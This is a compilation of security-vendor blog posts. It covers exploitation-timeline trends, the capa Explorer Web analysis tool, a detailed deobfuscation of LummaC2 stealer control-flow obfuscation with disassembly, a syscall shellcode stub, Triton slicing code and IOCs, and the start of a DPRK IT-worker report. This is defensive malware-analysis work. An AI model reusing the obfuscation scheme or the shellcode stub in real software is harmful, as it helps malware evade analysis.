Based on our analyses, we know that zero-day exploitation remains a coveted approach for threat actors. If zero-day exploitation continues to outnumber n-day exploitation while n-day exploitation continues to occur more quickly following disclosure, we could expect the average TTE to fall further in the future. Additionally, because zero-day discovery is more difficult, there is room for growing numbers of exploited vulnerabilities over time as detection tools continue improving and become more widespread.

We do not expect n-day usage to drop significantly, nor for the number of targeted vendors to decrease over the coming years. We expect threat actors to continue using both n-days and zero-days as well as to expand exploitation across more vendors and products. Trends are expected to likely follow quicker exploitation timelines across a larger span of targets.

It is important to note that the increased ratio of zero-day exploitation and the generally shrinking timelines do not imply that threat actors will stop targeting n-days. We have seen, many times over, how threat actors will utilize vulnerabilities months or years after patches have been released.

Written by: Soufiane Fariss, Willi Ballenthin, Mike Hunhoff, Genwei Jiang, Tina Johnson, Moritz Raabe

capa, developed by Mandiant's FLARE team, is a reverse engineering tool that automates the identification of program capabilities. In this blog post we introduce capa Explorer Web, a browser-based tool to display the capabilities found by capa. The capa Explorer Web UI provides an intuitive and interactive way to visualize the capa analysis results.

This feature was implemented by Soufiane Fariss (@s-ff) as part of the Google Summer of Code (GSoC) project that the Mandiant FLARE team mentored in 2024.

Figure 1: Using capa Explorer Web to visualize the results of a dropper

Background

capa analyzes programs using various backends, such as IDA Pro, Ghidra, and CAPE, to extract features. Then it identifies capabilities by matching these features against rules written by experts. A program matches a capability rule when its extracted features match the set of conditions declared in the rule.

Before the release of capa Explorer Web, the capa Explorer IDA plugin was the only way to interactively explore capa rule matches. Analysts without access to IDA Pro had no graphical interface to easily inspect capa results. Due to the large amount of data this was especially a shortcoming for the exploration of dynamic results, a feature introduced in capa v7.0 for detecting capabilities from sandbox traces.

Introducing capa Explorer Web

capa Explorer Web offers an intuitive and interactive visualization of capa analysis results. Users can browse rule matches and understand the reasoning behind them. Analysts can sort, search, and filter results. The interface offers different views including a table view with rule match details (see Figure 1), a function-centric view for static analysis, and a process-tree view for dynamic analysis results.

aside_block

<ListValue: [StructValue([('title', 'capa Explorer Web'), ('body', <wagtail.rich_text.RichText object at 0x3e009d5e39a0>), ('btn_text', 'Use capa Web Explorer now!'), ('href', 'https://mandiant.github.io/capa/explorer/'), ('image', None)])]>

Getting Started

capa Explorer Web is accessible online at our GitHub page, and you can start analyzing capa results immediately (see Figure 2). For offline usage, you can download a standalone HTML file from the website. Similar to CyberChef, it is an HTML file that can be opened locally in a browser and works without an Internet connection.

Figure 2: capa Explorer Web home page

To generate a capa result document, follow these quick steps to get started:

1. Install capa, e.g. download the latest standalone executable release

2. Analyze a sample and save the JSON results: capa.exe -j /path/to/file > result.json

3. Load the JSON results file into capa Explorer Web

Loading capa Results

capa Explorer Web allows you to load capa result documents from local JSON files, including Gzipped files. All processing occurs in your browser – no data is transferred to any server.

Default Table View Showing Rule Match Details

The default web UI displays identified program capabilities in a rule match table. Users can expand, sort, filter, and search rule match details (see Figure 3). This enables analysts to triage samples faster. The table shows detailed information for each rule match – including matched features and their addresses. Users can also view and filter on rule meta information like namespaces, associated MITRE ATT&CK techniques, and Malware Behavior Catalog classifications (MBC).

Figure 3 illustrates how an analyst can use capa Explorer Web to study the details of a rule match. Expanding the “inject APC” match row shows which features capa identified including their location in the program. This insight can streamline the identification of key behaviors and further support additional analysis – for example, when inspecting sandbox traces, debugging a sample, or analyzing the disassembled file.

Figure 3: Static analysis results in capa Explorer Web

Figure 4 demonstrates how analysts can leverage capa's dynamic analysis results to identify suspicious processes which exhibit malicious behavior. For instance, the process "explorer.exe" (a seemingly benign name) is shown invoking the InternetCrackUrl API with potentially malicious URLs as arguments, such as hxxps://216.201.159[.]118:443/cHOPH1oQ.php. This noteworthy functionality hints at possible process injection, and here even provides potential network-based indicators for further analysis.

Figure 4: Dynamic analysis results in capa Explorer Web

Rule Match Context

Via right-click on a match row users can access additional explorer functionality. This includes viewing the rule source definition as shown in Figure 5, opening the rule definition in the capa rules website, or searching for samples with this capability in VirusTotal to gain broader threat intelligence insights. The VirusTotal lookup requires a premium account.

Figure 5: Inspecting the source logic via the rule match context menu

Alternative Views Grouping Functions and Processes

The function and process capability views in capa Explorer Web offer granular insights into program functionality, organized by their location within the analyzed sample. For static analysis results, the function capabilities view groups rule matches by function address, allowing reverse engineers to quickly identify functions with key behavior (see Figure 6).

Figure 6: Static analysis results grouped by function

For dynamic analysis results, the process capabilities view organizes matches by process in a tree structure, showing Process ID (PID) and Parent Process ID (PPID) information (see Figure 7). Hovering a process column shows the respective rule matches.

Figure 7: Dynamic analysis results grouped by process

Integrating capa Explorer Web with VirusTotal 

capa has been integrated as part of VirusTotal's analysis since January 2023. Our new UI integration enables users to explore capa results directly from VirusTotal. With this you do not need to acquire a sample or analyze it locally with capa. To open capa Explorer Web from VirusTotal navigate to: Behavior > Download Artifacts > Open in CAPA Explorer (see Figure 8) or use Open in CAPA explorer next to Capabilities (see Figure 9). Currently, this feature requires a premium VirusTotal subscription.

Note that not all files have capa analysis results available. capa currently only supports analysis of non-corrupted PE, .NET, and ELF x86/x64 executables.

Figure 8: Access capa Explorer Web analysis from VirusTotal

Figure 9: Alternative link to open capa Explorer Web analysis from VirusTotal

When reviewing a new sample on VirusTotal, an analyst can pivot directly into capa Explorer Web to identify interesting locations within the program. This workflow allows prioritization of functions for deeper code analysis in the preferred reverse engineering tool.

Future Work

For future enhancements of capa Explorer Web, we plan to first enhance the process tree view mode to improve visualization of per-process matches. Additionally, we are considering new views to include extracted Indicators of Compromise (IoCs) for dynamic analysis. This could display extracted indicators such as URLs, file paths, and registry keys to further enhance the triage process. We are looking forward to your feedback and suggestions. Please reach out via our GitHub issues page.

Soufiane’s Google Summer of Code Acknowledgement

Working on Google Summer of Code 2024 expanded my technical skills significantly: I learned new programming languages and frameworks, improved my code review skills, and gained practical experience with CI/CD practices and software distribution.I’d like to thank my mentors for supporting me throughout the whole project. They have been very helpful from the get-go. This project wouldn’t have gone smoothly without their feedback and encouragement.

For future (GSoC) contributors, I recommend: dive deep into the existing codebase, don't hesitate to ask questions, and always share your thoughts with the other collaborators. I'm anticipating the continued evolution of capa and other open source tools. Whether through implementing new features, improving performance, extending file format support, or enhancing visualizations and integrations with other reverse engineering tools; the potential for growth is quite exciting and you can take part in it.

Written by: Nino Isakovic, Chuong Dong

Overview

This blog post delves into the analysis of a control flow obfuscation technique employed by recent LummaC2 (LUMMAC.V2) stealer samples. In addition to the traditional control flow flattening technique used in older versions, the malware now leverages customized control flow indirection to manipulate the execution of the malware. This technique thwarts all binary analysis tools including IDA Pro and Ghidra, significantly hindering not only the reverse engineering process, but also automation tooling designed to capture execution artifacts and generate detections.

To provide insights to Google and Mandiant security teams, we developed an automated method for removing this protection layer through symbolic backward slicing. By leveraging the recovered control flow, we are able to rebuild and deobfuscate the samples into a format readily consumable for any static binary analysis platform.

Protection Components Overview

An obfuscating compiler, which we will also informally refer to as an "obfuscator," is a transformation tool designed to enhance the security of software binaries by making them more resilient to binary analysis. It operates by transforming a given binary into a protected representation, thereby increasing the difficulty for the code to be analyzed or tampered with. These transformations are typically applied at a per-function basis where the user selects the specific functions to apply these transformations to.

Obfuscating compilers are distinct from packers, although they may incorporate packing techniques as part of their functionality. They fall under the broader classification of software protections, such as OLLVM, VMProtect, and Code Virtualizer, which provide comprehensive code transformation and protection mechanisms beyond simple packing. Notably, for all protected components, the original code will never be exposed in its original, unprotected form at any point during the runtime of a protected binary. It is also common for obfuscating compilers to mix the original compiler-generated code with obfuscator-introduced code. This generally tends to necessitate a comprehensive deobfuscator from an analyst in order to analyze the binary.

The obfuscator employed by LummaC2 applies a multitude of transformations consistent with standard obfuscating compiler technology. Our concern only focuses on the newly introduced control flow protection scheme that we uncovered.

Our analysis strongly suggests that the authors of the obfuscator have intimate knowledge of the LummaC2 stealer. Certain parts of the protection, as described in the upcoming sections, are specialized to handle specific components of the LummaC2 stealer.

Dispatcher Blocks

The obfuscator transforms the control flow of a protected function into one guided by "dispatcher blocks," each consisting of a subset of the original instructions that constituted the unprotected function and the new instructions introduced by the obfuscator. Each dispatcher block ends with an indirect jump that branches to a dynamically-resolved destination stored in a register or memory address. The result produced thereof mutates the original progressive linear control flow into a disjointed series of scattered blocks. Each block is isolated, containing only the runtime logic necessary to transfer execution to its immediate successor block.

Figure 1: Dispatcher blocks overview

We refer to all instructions generated by the obfuscator as "dispatcher instructions" to differentiate them from "original instructions." Dispatcher blocks used by the obfuscator can be categorized into two main types: unconditional and conditional dispatcher.

• Unconditional dispatcher: This dispatcher type protects the majority of instructions in an obfuscated function. It consists of dispatcher instructions that fetch encoded offsets from a lookup table in the .data section and perform ADD and XOR operations on them to calculate the next destination to transfer execution to.

• Conditional dispatcher: This dispatcher type protects either individual conditional jump instructions (e.g., jne or ja) or basic blocks that end with a conditional jump. Instead of a single encoded offset to calculate and transfer execution to, the conditional dispatcher fetches one of two possible encoded offsets depending on the result of the condition to test.

Figure 2: Dispatcher block types

Conditional and unconditional dispatcher blocks are further categorized based on the distinct characteristics and layout of dispatcher instructions.

• Register-based dispatcher: All calculations from dispatcher instructions operate solely on registers and always constitute the remaining instructions of the basic block.
• Memory-based dispatcher: Dispatcher instructions operate on both registers and stack values for calculating the final jump destination and are also always the remaining instructions within the basic block.
• Mixed-order dispatcher: A variant of register-based and memory-based dispatchers. The order and positions of dispatcher instructions in this layout are intertwined among original instructions that they are protecting instead of being placed at the end of the block.

Figure 3: Obfuscating compiler dispatcher layouts

Dispatcher blocks can also exist standalone where they do not protect any original code. In such cases, they act as a single step responsible for continuing the control flow. 

Register-based Dispatcher Layout

Using the following LummaC2 sample with MD5 hash 205e45e123aea66d444feaba9a846748 from the Google Threat Intelligence collection here as a case study, we discover that out of 2,009 dispatcher blocks processed, there are 1,981 register-based dispatcher blocks, making it the most common dispatcher layout. This layout is applied to both conditional and unconditional dispatcher types that occur in any protected function.

00416630 mov eax, off_457C8C ; Retrieve CONSTANT1 from .data section 00416635 mov ecx, 22A7266Eh ; Populate CONSTANT2 0041663A xor ecx, dword_457C94 ; XOR CONSTANT2 with CONSTANT3 ; from the .data section 00416640 add eax, ecx ; ADD CONSTANT1 with the result 00416642 inc eax ; Increment the result 00416643 jmp eax ; Jump to the result

Figure 4: Register-based instruction dispatcher

By analyzing dispatcher blocks of this layout, we can derive some key characteristics of the protection. These blocks typically include mov instructions to fetch a value from the malware's .data section or populate the register with a constant. Next, an xor/lea instruction and an inc instruction perform arithmetic operations on the retrieved values. Finally, the dispatcher block ends with a jmp instruction to branch to the dynamically calculated value stored in a register.

This final indirect jump obfuscates the function's original control flow. It breaks the control flow recovery algorithms of tools like IDA Pro which is unable to recover the jump destination statically, hindering both the disassembly and decompilation operations.

Figure 5: IDA Pro's disassembly and decompiler views of a protected subroutine

By identifying the common patterns within these dispatcher instructions, it's possible to differentiate them from the function's core instructions, which is crucial for lifting the protection and deobfuscating the function.

Another observation is that the obfuscator produces duplicated original instructions when injecting its dispatcher instructions. Our assumption is that the obfuscator does not want to reallocate original instruction blocks when injecting the dispatcher code. As a result, it resolves this by copying those instructions to a new block at the destination.

0041665A push 0FFFFFFF6h ; Duplicated instruction 0041665C call ds:GetStdHandle ; Duplicated instruction 00416662 call sub_41A4A0 ; Duplicated instruction 00416667 push 0FFFFFFF6h ; Original instruction. Last dispatcher ; block will jump here 00416669 call ds:GetStdHandle ; Original instruction of next block 0041666F call sub_41A4A0 ; Original instruction of next block 00416674 mov ecx, off_457CB0 ; Next dispatcher instructions 0041667A mov edx, 9148854h 0041667F xor edx, dword_457CB4 00416685 add ecx, edx 00416687 inc ecx 00416688 jmp ecx

Figure 6: Duplicated instructions between two dispatcher blocks

Memory-based Dispatcher Layout

Memory-based dispatcher blocks appear significantly less frequently, as there are only 28 dispatchers of this type in the 2,009 blocks processed. Unlike the register-based layout, this layout relies on both registers and stack values for calculating and jumping to the destination. An example of this layout is shown in Figure 7, where the add dispatcher instruction adds a value stored on the stack to a register.

0044AA3A mov edi, [esi+50h] ; esi = esp in previous instruction 0044AA3D cmp edi, [esi+98h] 0044AA43 setb bl 0044AA46 mov edi, off_46C030[ebx*4] 0044AA4D add edi, [esi+9Ch] ; Dispatcher instruction. Adding a stack ; value to edi (jump destination) 0044AA53 mov ebx, [esi+0A0h] 0044AA59 jmp edi ; Jumping to edi

Figure 7: Dispatcher utilizing stack values to calculate the indirect jump's destination

In a smaller number of cases, we encounter dispatcher blocks of this layout ending with a jmp instruction that does not branch to a register value. Instead, it utilizes a value stored on the stack to determine the jump target.

0041CCB4 mov eax, [esi+5Ch] 0041CCB7 mov [eax], edi 0041CCB9 jmp dword ptr [esi+14h] ; Dispatcher jump to a stack value

Figure 8: Dispatcher with memory-based indirect jump

Mixed-order Dispatcher Layout

Mixed-order dispatcher layout is a variant of the register-based and memory-based dispatcher layouts. There are 12 memory-based and 28 register-based dispatcher blocks that fall into this mixed-order category.

Most dispatcher instructions are placed at the tail of an original instruction or a sequence of original instructions. However, this can vary and parts of the dispatcher block can also be split up and randomly intertwined with the initial instructions. This unpredictable placement adds another layer of complexity to the deobfuscation process.

Dispatcher instructions: 0041E847 mov eax, 0F5A88CDAh ; Dispatcher instruction 0041E84C xor eax, dword_459880 ; Dispatcher instruction 0041E852 mov ecx, off_459878 ; Dispatcher instruction 0041E858 add eax, ecx ; Dispatcher instruction 0041E85A inc eax ; Dispatcher instruction Original instructions: 0041E85B mov ebx, [esi+48h] 0041E85E mov ecx, [ebp+10h] 0041E861 mov [ebx], ecx 0041E863 mov edi, [esi+2Ch] 0041E866 mov ecx, [ebp+0Ch] 0041E869 mov [edi], ecx 0041E86B mov edi, [esi+0Ch] 0041E86E mov ecx, [esi+20h] 0041E871 mov dword ptr [edi], 0 0041E877 mov dword ptr [ecx], 0 0041E87D xorps xmm0, xmm0 0041E880 movups xmmword ptr [edx+4], xmm0 0041E884 movups xmmword ptr [edx+14h], xmm0 0041E888 movups xmmword ptr [edx+24h], xmm0 0041E88C mov dword ptr [edx+38h], 0 0041E893 mov dword ptr [edx+34h], 0 0041E89A mov dword ptr [edx], 3Ch 0041E8A0 mov dword ptr [edx+8], 0FFFFFFFFh 0041E8A7 mov dword ptr [edx+14h], 0FFFFFFFFh 0041E8AE mov dword ptr [edx+30h], 0FFFFFFFFh --------------------------------------------------- 0041E8B5 jmp eax ; Indirect jump

Figure 9: Mixed-order dispatcher example

Conditional Dispatcher

Conditional dispatchers deserve extra attention as they introduce more logic than unconditional ones. It is also important to note that all conditional branches are not subject to being obfuscated. We have identified 379 such instances within the case study sample that remain in their original state. These are leveraged in the context of tight loops and heavy string processing routines. They are likely left out of the protection scheme due to the severe performance degradation they induce.

The structure of conditional dispatcher blocks exhibits a slight variation from that of unconditional dispatchers. Given that the intent is to protect conditional logic, there will always be two possible outcomes:

• The branch that satisfies the condition being taken

• The fallthrough branch that does not satisfy the condition being taken

The obfuscator employs a table of paired entries for each conditional branch that is indexed given the result of the condition, which will either be true or false (0 or 1). Each index corresponds to one of the two branches that can be taken.

Conditional dispatchers fall into three distinct categories.

1. Standard conditional logic
   • The obfuscator accounts for all common conditional jump conditions
   • The condition code is evaluated using one of the following instructions:
     • test <reg>, <reg>
     • cmp <reg>, <imm>
   • setcc is then used to capture the original conditional jump logic. That is to say, every original conditional jump instruction is reflected as its setcc counterpart (e.g., a jnz becomes a setnz)
2. Loop logic
   • Non-infinite loops require conditional logic as a means of exiting the loop body. The obfuscator implements this using three distinct dispatcher blocks linked with an arbitrary subset of dispatcher blocks that represent the loop body
     • Initialization block
       • Initializes the default branch target via an "exit condition" flag that is always set to false (so that execution is transferred to the start of the loop body)
     • Update block
       • Updates the exit condition flag based on the processing of either the initialization block or logic stemming from the loop body
     • Exit-check block
       • Checks whether the exit condition flag is either set to exit the loop or transfer execution back to the loop body
3. Syscall logic
   • This category is specific to a LummaC2 component that invokes Windows syscalls and disguises how the resulting NTSTATUS code is verified. This is effectively a conditional dispatcher that implements the NT_SUCCESS macro.
   • The following instruction sequences are used to determine the success of a syscall by negating the returned NTSTATUS and inspecting its sign value. A value of 1 indicates a successful syscall while 0 indicates a failed syscall.
     • not eax
     • shr eax, 0x1F

Standard Conditional Dispatcher Type

Continuing with using the case study sample from earlier, we find the standard conditional dispatcher type occurring 987 times out of the 1,063 conditional dispatchers.

Figure 10 and Figure 11 illustrate this type where the conditional value is tested against both zero and a non-zero constant. The first figure shows the conditional value being compared to 0 using a test instruction. The second shows the conditional value being evaluated against a non-zero constant 0x5A4D using a cmp instruction.

0041656E call sub_41C610 ; subroutine call at 0x41C610 00416573 mov esi, eax ; save set return value (eax) into esi 00416575 xor eax, eax ; clear out the index 00416577 test esi, esi ; evaluate the result 00416579 setnz al ; Set al if conditional value is not zero 0041657C mov eax, off_457CF4[eax*4] ; fetch appropriate encoded branch target 00416583 mov ecx, 0C09E0A35h ; start the decoding sequence 00416588 xor ecx, dword_457CFC 0041658E add eax, ecx 00416590 inc eax 00416591 jmp eax ; transfer execution to the decoded ; branch value

Figure 10: Conditional dispatcher with the conditional value being compared to 0

0044DD15 movzx ecx, word ptr [edi] ; fetch the 16-bit value to evaluate 0044DD18 xor edx, edx ; clear out the index 0044DD1A cmp ecx, 5A4Dh ; compare to the 0x5A4D constant 0044DD20 setnz dl ; set the index to the result 0044DD23 mov ecx, off_46F304[edx*4] ; fetch appropriate encoded branch target 0044DD2A mov edx, 9EC9743Dh ; start the decoding sequence 0044DD2F xor edx, dword_46F30C 0044DD35 add ecx, edx 0044DD37 inc ecx 0044DD38 jmp ecx ; transfer execution to the decoded ; branch value

Figure 11: Conditional dispatcher with the conditional value being compared to a non-zero constant

Loop Conditional Dispatcher Type

Figure 12, Figure 13 and Figure 14 provide an illustration of a loop conditional dispatcher type, which occurs 42 times within the sample. It is always a collection of linked dispatcher blocks that include the loop initialization sequence, the loop body (an arbitrary collection of dispatcher blocks specific to the loop logic), an update condition block, and finally a check-exit condition block.

The initialization block sets the stage for a loop by establishing an "exit condition" flag and initializing it to false, ensuring the loop body executes at least once. The update block then modifies this flag based on the results of the initialization block or the loop body's logic. Finally, the exit-check block examines the flag's state to determine whether to continue iterating or exit the loop.

0044CD55 mov dword_470A30, ebx 0044CD5B mov edi, [ebp-34h] 0044CD5E xchg ax, ax 0044CD60 mov eax, off_46CB3C 0044CD65 mov ecx, 74F906B5h 0044CD6A xor ecx, dword_46CB44 0044CD70 add eax, ecx 0044CD72 inc eax 0044CD73 mov dword ptr [ebp-30h], 0 0044CD7A mov dword ptr [ebp-18h], 0 ; conditional flag, initially 0 to ; reflect transfer to the loop body ; not the loop exit 0044CD81 mov dword ptr [ebp-28h], 0 0044CD88 mov dword ptr [ebp-40h], 0 0044CD8F jmp eax

Figure 12: A loop implementation block

0044C108 mov ecx, [ebp-5Ch] 0044C10B mov eax, [ecx+1] 0044C10E add eax, ecx 0044C110 add eax, 5 0044C113 mov [ebp-18h], eax ; instructions that update the ; conditional flag 0044C116 mov eax, off_46CFE4 0044C11B mov ecx, 681DADB7h 0044C120 xor ecx, dword_46CFEC 0044C126 add eax, ecx 0044C128 inc eax 0044C129 nop dword ptr [eax+00000000h] 0044C130 mov ecx, [ebp-18h] 0044C133 mov [ebp-28h], ecx 0044C136 jmp eax

Figure 13: A update-block loop

0044C2AD xor eax, eax 0044C2AF mov edx, [ebp-18h] ; evaluate the conditional flag 0044C2B2 test edx, edx 0044C2B4 setnz al 0044C2B7 mov ecx, 27DC8BC9h 0044C2BC xor ecx, dword_46D248 0044C2C2 mov eax, off_46D240[eax*4] ; fetch the target 0044C2C9 add eax, ecx 0044C2CB inc eax 0044C2CC mov [ebp-28h], edx 0044C2CF mov ebx, [ebp-20h] 0044C2D2 jmp eax ; Jump back to a loop body block ; or exit the loop

Figure 14: An exit-check block

Syscall Conditional Dispatcher Type

Dispatchers of this type are used for checking the return values of LummaC2-specific function calls that perform a syscall. They appear only 34 times in the case study sample. In these functions, LummaC2 decrypts the shellcode in Figure 15 and executes it in memory to make a particular syscall.

mov eax, <syscall ID> mov edx, win32u.Wow64SystemServiceCall call edx ret <imm16>

Figure 15: Shellcode to call Windows system call

In other cases, the malware makes direct calls to Windows Native APIs instead of utilizing the shellcode in Figure 15.

The conditional dispatcher for this type implements the NT_SUCCESS macro by checking whether the returned NTSTATUS code is successful or not. This is done via checking the sign of the inverted NTSTATUS code and capturing it as the branch target index, which will either be 0 or 1. Given that a successful NTSTATUS code is always a 32-bit zero value, a successful syscall will result in the true branch (index 1) being taken, and a failed syscall will result in the false branch (index 0) being taken.

00424D95 call sub_44EDA0 ; wrapper function to perform a syscall 00424D9A add esp, 0Ch 00424D9D not eax ; negate all bits of the NTSTATUS return value 00424D9F shr eax, 1Fh ; isolate the sign bit to capture the ; result and in turn, the index to ; the according branch 00424DA2 mov eax, off_45DC9C[eax*4] ; fetch the according branch target 00424DA9 mov ecx, 31637ACh 00424DAE xor ecx, dword_45DCA4 00424DB4 add eax, ecx 00424DB6 inc eax 00424DB7 jmp eax

Figure 16: Conditional dispatcher to check syscall return values

Obfuscated Function Recovery Original Instruction Recovery 

Recovering the original control flow of a protected function requires us to differentiate between the obfuscator's injected dispatcher instructions and the function's original instructions. To solve this, we decide to use symbolic backward slicing, a program analysis technique that identifies instructions that influence a specific register or memory address at a given point within a simulated execution on an intermediate representation. In this context, we employ backward slicing to do the following:

• Isolate the dispatcher instructions from the original instructions

• Determine which explicit instructions calculate the final indirect transfer of control

In our deobfuscator design, we leverage the Triton symbolic execution engine to conduct the core of the recovery. Triton implements backward tracing APIs that we can use directly. When executing the program, Triton maintains a set of symbolic expressions that represent the values of registers and memory addresses. These expressions are stored as an Abstract Syntax Tree (AST), where each tree node represents an operation with operands that result from the execution flow. Triton refers to this implementation as "processing," which is the result of simulating the memory effects a culmination of emulated instructions produce and reflecting that result as an AST.

This is a powerful abstraction that allows us to reason about the deobfuscation at an AST level and ignore the verbose disassembly produced by the obfuscator. 

To distinguish dispatcher instructions, we'll focus on the destination of the final indirect jump in a dispatcher block. By looking up this destination in the constructed ASTs after all dispatcher instructions are processed, we can extract its corresponding symbolic expressions. 

Figure 17 shows the AST of the destination register eax at an indirect jump. This AST represents all symbolic expressions from the result of the symbolic processing of the corresponding instructions that influence the value of the destination register before the indirect jump is executed.

Figure 17: ASTs of the destination register after the indirect jump instruction is processed

Using Triton's APIs, we can extract a subset (or slice) of the processed expressions that collectively contribute to the final destination address of an indirect jump. For each expression in the slice, we can map it back to the specific dispatcher instruction that generates it. This mapping is possible because Triton maintains the association between instructions and the symbolic expressions they produce during its execution.

A snippet of the code used to perform backward slicing to distinguish dispatcher instructions from the original ones is shown in Figure 18.

# Retrieve the bytes of the instruction at the current program counter instructionBytes = context.getConcreteMemoryAreaValue(pc, 16) # Create a Triton Instruction object from the retrieved bytes instruction = Instruction(pc, instructionBytes) # Process the instruction using the Triton context context.processing(instruction) # Scan for dispatcher jump instruction if instruction.getType() == OPCODE.X86.JMP: # Extract the operand of the JMP instruction jmpOperand = instruction.getOperands()[0] # Process JMP instructions with register operand only if jmpOperand.getType() == OPERAND.REG: # Get symbolic expression of destination register destRegExpression = context.getSymbolicRegisters()[jmpOperand.getId()] # Backward slice on the destination register slicing = context.sliceExpressions(destRegExpression) # Iterating through the slices for _, sliceInstr in sorted(slicing.items()): # Print out the disassembled instruction of each slice sliceInstrDisassembly = sliceInstr.getDisassembly() print('\t[Slice]', sliceInstrDisassembly)

Figure 18: Triton code to perform backward slicing to recover all dispatcher instructions

Here, we continuously execute instructions until a jmp instruction is encountered. If the instruction's operand is a register, we retrieve its set of symbolic expressions and perform a backward slice to recover all instructions that influenced its result. Triton allows us to further preserve the original disassembly given a set of symbolic expressions that we leverage to extract the exact dispatcher instructions that produce the slice, and not merely the AST representation.

Once the complete backward slice for the destination has been retrieved, we can confidently distinguish the dispatcher instructions from the original instructions within the function. This distinction holds true regardless of the placement or order of the dispatcher instructions within a protected block since the backward slice only monitors those instructions that directly influence the final value.

Backward slicing output: ... [Processing] 0x416530: lea eax, [esp + 8] [Processing] 0x416534: push eax [Processing] 0x416535: call dword ptr [0x454a18] [Processing] 0x41653b: mov eax, esp [Processing] 0x41653d: push eax [Processing] 0x41653e: call dword ptr [0x454a14] [Processing] 0x416544: mov eax, dword ptr [0x457c1c] [Processing] 0x416549: mov ecx, 0xa15bd01f [Processing] 0x41654e: xor ecx, dword ptr [0x457c24] [Processing] 0x416554: add eax, ecx [Processing] 0x416556: inc eax [Processing] 0x416557: jmp eax [Slice] 0x416544: mov eax, dword ptr [0x457c1c] [Slice] 0x416549: mov ecx, 0xa15bd01f [Slice] 0x41654e: xor ecx, dword ptr [0x457c24] [Slice] 0x416554: add eax, ecx [Slice] 0x416556: inc eax ...

Figure 19: Output for the code in Figure 18 to distinguish dispatcher instructions

Control Flow Recovery

In addition to recovering all original instructions of the function, we must also recover the original control flow. While instructions are processed dynamically, Triton allows us to determine the concrete destination value of the final indirect jump in the dispatcher block. With this, we can trace the program's execution flow and reconstruct the order in which dispatcher blocks are executed.

To explore all possible execution paths within the function, we employ a depth-first search (DFS) traversal algorithm. 

We begin by exploring a single path, following the control flow dictated by the obfuscator's indirect jumps. This continues until the path reaches a termination point, such as a ret instruction or a program-ending API call (e.g., ExitProcess).

In our deobfuscator design, we default to viewing all of these protected jumps as jnz instructions by forcing the index register to be 1 in the main execution path being processed. When encountering a protected conditional jump, we assume the condition is met and continue exploring the path that follows the jump. However, we don't discard the alternative path. The alternative path is stored in a queue-like data structure. This allows us to revisit these paths later when we've exhausted all possibilities on the current path.

By systematically exploring all paths using DFS and handling conditional jumps strategically, we can reconstruct the original control flow that has been obfuscated with the compiler's indirect jumps.

Deobfuscation: Rebuilding Original Function

With the original instructions and execution paths identified, we can deobfuscate the sample by rebuilding the functions we have processed. Our goal is to ensure the deobfuscated functions are restored to their original state, preserving their original semantics and removing all traces of the obfuscator.

Instruction Rewriting

When rebuilding, we can overwrite the original protected function with the deobfuscated instructions. Since a deobfuscated function always has fewer instructions than an obfuscated function, there is guaranteed space to accommodate the rebuilt function. The remaining space can be padded with standard compiler padding instructions like 0xCC.

The rewriting process involves writing instructions back from the function's entry point in the order they are processed and executed during the Triton analysis, excluding all dispatcher instructions. Here, we will address two specific cases involving indirect jumps originally added by the obfuscator.

The first case involves processing an unconditional dispatcher block. For this case, if the jump target has not been written yet, we simply skip it and continue writing instructions sequentially. If the jump target has already been written, we replace the indirect jump with a direct one to branch back to that target.

The second case for handling the jump instruction of a conditional dispatcher block is a bit more convoluted. Before tackling this, we must determine the original conditional jump type (e.g., jz, jnz, jl) based on the preceding setcc dispatcher instruction.

Since the indirect jump can target one of the two destinations given a condition, we must replace it with two instructions. The first instruction is a conditional jump to the first destination using the correct conditional jump type.

The second instruction can be either:

• A conditional jump with the opposite type as the first, targeting the second destination.

• A direct jump to the second destination. This is chosen for simplicity of our deobfuscator implementation.

0041652B call sub_4455F0 ; original instruction 00416530 movzx eax, al ; eax = al = return value 00416533 test eax, eax ; set flags 00416535 jnz loc_416540 ; replacing indirect jmp with jnz for the first path 0041653B jmp loc_416554 ; insert a jmp for the second path

Figure 20: Replacing an indirect conditional jump with a jnz-jmp instruction pair

Offset Relocation

The final step, relocation, addresses a remnant from our rebuilding process. As we remove dispatcher instructions and duplicated instructions, the rewritten instructions will occupy different locations from where they were in the original function. This displacement throws off the offsets of jump, call, and other memory-referencing instructions that are not position-independent, as they now need to refer to memory locations from their new addresses.

In our current implementation, we address this by parsing all of the memory-referencing instructions and calculating their correct offsets after deobfuscation. This involves tracking both the original and relocated addresses of each instruction. With this information, we can calculate the adjusted offset to reach the target memory reference and craft the correct opcode for each instruction.

Final Result

By employing techniques described in this blog post, we have successfully developed a deobfuscation tool for this version of LummaC2. In the following figures, we see the result of our deobfuscator lifting the protection from two protected functions in the case study sample.

Figure 21: Disassembly view of the subroutine at the binary's entrypoint before deobfuscation

Figure 22: Decompiler view of the subroutine at the binary's entrypoint after deobfuscation

Figure 23: Disassembly view of the subroutine at address 0x41EE50 before deobfuscation

Figure 24: Decompiler view of the subroutine at address 0x41EE50 after deobfuscation

As shown in these figures, the original instructions are now readily apparent, free from the clutter of dispatcher blocks added by the obfuscator. The control flow, once obscured by indirect jumps, is now clearly visible and can be recovered and decompiled using IDA Pro. After deobfuscating all protected functions, we can now analyze the original program to comprehend its capabilities and behaviors.

Conclusion

In this blog post, we have explored the inner workings of LummaC2's obfuscation technique using indirect jumps to manipulate control flow. By leveraging backward slicing and symbolic execution, we have been able to consistently identify the original instructions and eliminate dispatcher instructions added by the obfuscator. Furthermore, we have discussed strategies for deobfuscation, including rebuilding the original function from the recovered control flow and addressing relocation challenges.

While this blog post focuses on deobfuscating LummaC2 protected subroutines, the power of backward slicing as a binary analysis technique extends well beyond this specific case. We hope our exploration of deobfuscating LummaC2 through the use of backward slicing has provided valuable insights to fellow analysts tackling similar challenges in the ever-evolving realm of reverse engineering and malware analysis.

Indicators of Compromise

A Google Threat Intelligence Collection featuring indicators of compromise (IOCs) related to the activity described in this post is now available.

Host-Based IOCs

MD5

Associated Malware Family

d01e27462252c573f66a14bb03c09dd2

LUMMAC.V2

5099026603c86efbcf943449cd6df54a

LUMMAC.V2

205e45e123aea66d444feaba9a846748

LUMMAC.V2

Written by: Codi Starks, Michael Barnhart, Taylor Long, Mike Lombardi, Joseph Pisano, Alice Revelli

Strategic Overview of IT Workers

Since 2022, Mandiant has tracked and reported on IT workers operating on behalf of the Democratic People's Republic of Korea (DPRK). These workers pose as non-North Korean nationals to gain employment with organizations across a wide range of industries in order to generate revenue for the North Korean regime, particularly to evade sanctions and fund its weapons of mass destruction (WMD) and ballistic missile programs. A U.S. government advisory in 2022 noted that these workers have also leveraged privileged access obtained through their employment in order to enable malicious cyber intrusions, an observation corroborated by Mandiant and other organizations.

